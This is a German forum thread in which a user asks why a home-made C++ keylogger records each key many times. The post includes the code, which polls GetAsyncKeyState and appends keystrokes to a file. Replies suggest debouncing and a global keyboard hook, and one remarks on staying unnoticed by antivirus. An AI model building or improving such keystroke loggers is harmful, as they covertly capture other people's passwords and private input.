Peinlicher Keylogger Funktioniert nicht
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Hallo, bin gerade dabei einen Keylogger zu schreiben, habe das Problem das die Funktion GetAsyncKeystate() bei einem Tastendruck bspw: 'a' werden etwa so viele
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa's erkannt ;S
Das Passiert beim Abspeichern auch beim cout :S#include <iostream> #include <string> #include <windows.h> using namespace std; int schreiben(char zeichen); int main() { while(1) { if(GetKeyState('A')) { cout<<"a"; } if(GetAsyncKeyState('B')) { schreiben('b'); } if(GetAsyncKeyState('C')) { schreiben('c'); } if(GetAsyncKeyState('D')) { schreiben('d'); } if(GetAsyncKeyState('E')) { schreiben('e'); } if(GetAsyncKeyState('F')) { schreiben('f'); } if(GetAsyncKeyState('G')) { schreiben('g'); } if(GetAsyncKeyState('H')) { schreiben('h'); } if(GetAsyncKeyState('I')) { schreiben('i'); } if(GetAsyncKeyState('J')) { schreiben('j'); } if(GetAsyncKeyState('K')) { schreiben('k'); } if(GetAsyncKeyState('L')) { schreiben('l'); } if(GetAsyncKeyState('M')) { schreiben('m'); } if(GetAsyncKeyState('N')) { schreiben('n'); } if(GetAsyncKeyState('O')) { schreiben('o'); } if(GetAsyncKeyState('P')) { schreiben('p'); } if(GetAsyncKeyState('Q')) { schreiben('q'); } if(GetAsyncKeyState('R')) { schreiben('r'); } if(GetAsyncKeyState('S')) { schreiben('s'); } if(GetAsyncKeyState('T')) { schreiben('t'); } if(GetAsyncKeyState('U')) { schreiben('u'); } if(GetAsyncKeyState('V')) { schreiben('v'); } if(GetAsyncKeyState('W')) { schreiben('w'); } if(GetAsyncKeyState('X')) { schreiben('x'); } if(GetAsyncKeyState('Y')) { schreiben('y'); } if(GetAsyncKeyState('Z')) { schreiben('z'); } } } int schreiben(char zeichen) { FILE *datei; if((datei=fopen("datei.txt","a")) != NULL) { fprintf(datei,"%c",zeichen); fclose(datei); } return 0; }
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bool bouncing = true; while(bouncing) { bouncing = false; if(GetAsyncKeyState('A')) bouncing = true; }
Besser: Globaler keyboard hook
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hi
Ihr verwendet GetAsyncKeyState() falsch !!
Schaut einfach mal in der msdn nach !Und ein globaler keyboardhook ist auch die bessere variante.. Ansonnsten wird es so lange gehen bis dein AV Program was mitbekommt ! Und dan ist schluss mit dem mitlesen!
Lowbyte
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